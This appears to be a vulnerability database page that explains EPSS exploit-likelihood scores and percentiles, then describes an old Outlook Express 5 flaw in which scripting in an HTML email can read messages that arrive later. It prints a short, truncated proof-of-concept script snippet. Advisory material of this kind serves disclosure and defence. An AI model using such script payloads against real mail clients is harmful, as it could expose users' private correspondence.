EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Microsoft Outlook Express 5, and possibly other email clients that parse HTML messages, can be made to run Active Scripting that will read any new messages that arrive after the hostile code has been run.
Example code:
<SCRIPT>
a=window.open("about:<A HREF='javascript:alert(x.body.innerText)' >Click here to see the active message</A>");
a.x=window.document;
